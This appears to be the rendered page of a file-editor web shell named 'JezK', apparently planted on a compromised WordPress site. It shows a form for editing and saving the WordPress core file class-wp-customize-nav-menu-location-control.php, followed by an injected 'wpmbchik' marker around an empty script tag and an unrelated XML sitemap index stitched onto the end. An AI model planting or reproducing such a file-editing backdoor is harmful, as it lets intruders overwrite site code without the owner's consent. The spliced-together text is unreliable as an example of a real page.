
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-wp-customize-nav-menu-location-control.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Customize API: WP_Customize_Nav_Menu_Location_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Menu Location Control Class.
 *
 * This custom control is only needed for JS.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Location_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_location';

	/**
	 * Location ID.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $location_id = '';

	/**
	 * Refresh the parameters passed to JavaScript via JSON.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this-&gt;json['locationId'] = $this-&gt;location_id;
	}

	/**
	 * Render content just like a normal select control.
	 *
	 * @since 4.3.0
	 * @since 4.9.0 Added a button to create menus.
	 */
	public function render_content() {
		if ( empty( $this-&gt;choices ) ) {
			return;
		}

		$value_hidden_class    = '';
		$no_value_hidden_class = '';
		if ( $this-&gt;value() ) {
			$value_hidden_class = ' hidden';
		} else {
			$no_value_hidden_class = ' hidden';
		}
		?&gt;
		&lt;label&gt;
			&lt;?php if ( ! empty( $this-&gt;label ) ) : ?&gt;
			&lt;span class=&quot;customize-control-title&quot;&gt;&lt;?php echo esc_html( $this-&gt;label ); ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;

			&lt;?php if ( ! empty( $this-&gt;description ) ) : ?&gt;
			&lt;span class=&quot;description customize-control-description&quot;&gt;&lt;?php echo $this-&gt;description; ?&gt;&lt;/span&gt;
			&lt;?php endif; ?&gt;

			&lt;select &lt;?php $this-&gt;link(); ?&gt;&gt;
				&lt;?php
				foreach ( $this-&gt;choices as $value =&gt; $label ) :
					echo '&lt;option value=&quot;' . esc_attr( $value ) . '&quot;' . selected( $this-&gt;value(), $value, false ) . '&gt;' . esc_html( $label ) . '&lt;/option&gt;';
				endforeach;
				?&gt;
			&lt;/select&gt;
		&lt;/label&gt;
		&lt;button type=&quot;button&quot; class=&quot;button-link create-menu&lt;?php echo $value_hidden_class; ?&gt;&quot; data-location-id=&quot;&lt;?php echo esc_attr( $this-&gt;location_id ); ?&gt;&quot; aria-label=&quot;&lt;?php esc_attr_e( 'Create a menu for this location' ); ?&gt;&quot;&gt;&lt;?php _e( '+ Create New Menu' ); ?&gt;&lt;/button&gt;
		&lt;button type=&quot;button&quot; class=&quot;button-link edit-menu&lt;?php echo $no_value_hidden_class; ?&gt;&quot; aria-label=&quot;&lt;?php esc_attr_e( 'Edit selected menu' ); ?&gt;&quot;&gt;&lt;?php _e( 'Edit Menu' ); ?&gt;&lt;/button&gt;
		&lt;?php
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>


<!-- wpmbchik -->

<script>

</script>
<!-- /wpmbchik -->
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://lednhattao.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://lednhattao.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://lednhattao.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://lednhattao.com/wp-sitemap-posts-blocks-1.xml</loc></sitemap><sitemap><loc>https://lednhattao.com/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://lednhattao.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://lednhattao.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://lednhattao.com/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://lednhattao.com/wp-sitemap-taxonomies-product_tag-1.xml</loc></sitemap><sitemap><loc>https://lednhattao.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
